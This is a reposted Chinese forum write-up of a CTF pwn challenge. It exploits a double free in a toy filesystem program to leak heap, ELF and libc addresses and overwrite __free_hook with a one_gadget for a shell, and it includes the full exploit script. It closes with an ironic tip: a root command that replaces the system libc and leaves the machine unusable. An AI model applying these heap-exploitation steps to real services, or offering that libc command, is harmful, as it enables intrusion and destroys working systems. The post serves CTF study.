安全矩阵

 找回密码
 立即注册
搜索
查看: 2354|回复: 0

重温搭建pwn环境

[复制链接]

251

主题

270

帖子

1797

积分

金牌会员

Rank: 6Rank: 6

积分
1797
发表于 2022-1-29 10:17:36 | 显示全部楼层 |阅读模式
本帖最后由 Meng0f 于 2022-1-29 10:23 编辑

重温搭建pwn环境

转载于:xym 看雪学苑 2022-01-27 17:59


本文为看雪论坛优秀文章
看雪论坛作者ID:xym


​首先分析出这是一个文件系统,里面有个主要的结构存储了文件和文件夹。

  1. struct struc_Dir
  2. {
  3.   int bIsFile;
  4.   int field_4;
  5.   struc_Dir *lpParent;
  6.   struc_Dir *SubDirList[16];
  7.   char *pDirName;
  8.   _BYTE *FileBuff;
  9.   int BuffLen;
  10.   int field_A4;
  11. };
复制代码
里面提供了文件夹的增删改功能,其中最容易出逻辑bug的就是删除操作,特别是在子目录删除父目录后如何处理当前目录。本地测试时发现只要删除父目录,程序就崩溃,因为run调用了pwd,而pwd循环查找父目录时会调用NULL指针。
  1. write(1, &asc_555555555FC4[4], 1uLL);
  2. pwd();
  3. write(1, "$ ", 2uLL);
复制代码
但是服务器上没有,不知道是不是修复了这个bug。

接着发现删除文件时仅仅释放文件内容,没有清空指针造成double free。连续删除两次文件后远程测试操作成功,本地ubuntu20.04直接报free的指针错误,说明漏洞存在。

double free加上write_to_file配合可以实现任意地址写,本来以为快要大功告成,结果在泄露各种地址时耽误了很长时间。

首先获取堆地址,通过分析堆结构发现删除home所在的区块后,通过再次分配给file的filebuff结构,可以很容易通过对应的file获取sysbuf下一个区块的指针。
  1. echo("1" * 0xA8, "file")
  2. cd("a")
  3. rm('../file')
  4. rm('../file')
复制代码
然后利用echo通过修改最低字节的方式将该指针指向sysbuf中的合适位置,可以让新分配的Dir结构中lpParent放到sysbuf的最后,这样在echo中让sysbuf填满0x5000个可见字符,就可以通过:
  1. v0 = strlen(sysbuf);
  2. write(1, sysbuf, v0);
复制代码
把lpParent指针输出。

这样的操作反复两次,就可以通过不同目录分别得到heap和root的地址。但是这里仍然缺少libc的指针。

中间走的弯路就是想利用username输出stdout的地址,因为通过修改filebuff可以任意地址写,所以只要把username填充修改至bss段,就可以通过下列语句输出代码。
  1. v0 = strlen(username);
  2. write(1, username, v0);
复制代码
但是实操发现中间有个cwd指针,如果被填充则会导致接下来的pwd()报错,导致改方案不可行。

纠结是否要通过修改stdout的低位来间接修改libc的时候,突然想起填充tcache将libc地址放到堆中的方法,这样可以利用上面相同方法获取libc的地址。

最后将sysbuf指向free_hook前段,然后在free_hook写上one_gadget,随便删除一个文件就可以getshell了。

下面贴代码:
  1. mkdir("a")
  2. touch("file")
  3. touch("file2")
  4. touch("file8")
  5. touch("filea")
  6. touch("fileb")
  7. touch("filec")

  8. echo("2" * 0xA8, "file8")
  9. rm('home')
  10. echo("1" * 0xA8, "file")
  11. cd("a")
  12. rm('../file')
  13. rm('../file')
  14. echo("\x58", "../file")
  15. #
  16. touch("file3")
  17. mkdir("b")
  18. echo("A" * 50, null)
  19. ls(".")
  20. echo("A" * (0x5000), null)
  21. r.recvuntil("A" * 0x5000)
  22. dst = u64(r.recv(8)) - 0x630a000000000000
  23. heapbase =  dst - 0x5460
  24. print(hex(heapbase))

  25. echo("1" * 0xA8, "../file2")
  26. rm('../file2')
  27. rm('../file2')
  28. #
  29. echo(p64(heapbase + 0x5260 - 8), "../file2")
  30. cd("..")
  31. touch("file4")
  32. mkdir("file5")

  33. echo("B" * (0x5000), null)
  34. r.recvuntil("B" * 0x5000)

  35. dst = u64(r.recv(6) + p16(0))
  36. elfbase =  dst - 0x60
  37. print(hex(elfbase))
  38. print(hex(heapbase))


  39. cd("a")

  40. rm('../file8')
  41. rm('../file8')
  42. echo(p64(heapbase + 0x2A0), "../file8") #0x00005555557582A0
  43. touch("file8")
  44. touch("file9")

  45. echo("8" * 0x5000, "../filea")
  46. echo("a" * 0xd8, "../fileb")
  47. echo("a" * 0x25, "../filec")
  48. rm('../fileb')
  49. rm('../fileb')
  50. rm('../fileb')
  51. rm('../fileb')
  52. rm('../fileb')
  53. rm('../fileb')
  54. rm('../fileb')
  55. rm('../fileb')

  56. echo(p64(heapbase + 0x5d10) + 'A' * 0x38 + p64(1) + p64(heapbase + 0x5460) + p64(0) * 0x10 + p64(heapbase + 0x5CD0) + p64(elfbase + 0x108) + p64(0x10000), "file9")

  57. echo("c" * (0x5000), null)

  58. r.recvuntil("c" * 0x5000)
  59. dst = u64(r.recv(6) + p16(0))
  60. libcbase = dst - 0x3EBCA0
  61. print(hex(libcbase))
  62. __free_hook = libcbase + 0x3ED8E8
  63. echo(p64(__free_hook - 0x10), "file9")
  64. one_gadget = libcbase + 0x4f322
  65. echo('A' * 0x10 + p64(one_gadget), "../filea")
  66. rm('../fileb')
复制代码
最后附上一条替换libc的“好方法”,管理员权限下使用如下命令替换系统libc为你想使用的libc。
  1. mv '/lib/x86_64-linux-gnu/libc.so.6' '/lib/x86_64-linux-gnu/libc.so.6.old'&& cp /home/ctf/binary/libc.so.6 '/lib/x86_64-linux-gnu/libc.so.6'
复制代码
也许你会很惊喜的发现如下提示,然后可以私信我获取解决办法。
  1. cp: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory
复制代码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 23:44 , Processed in 0.012966 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表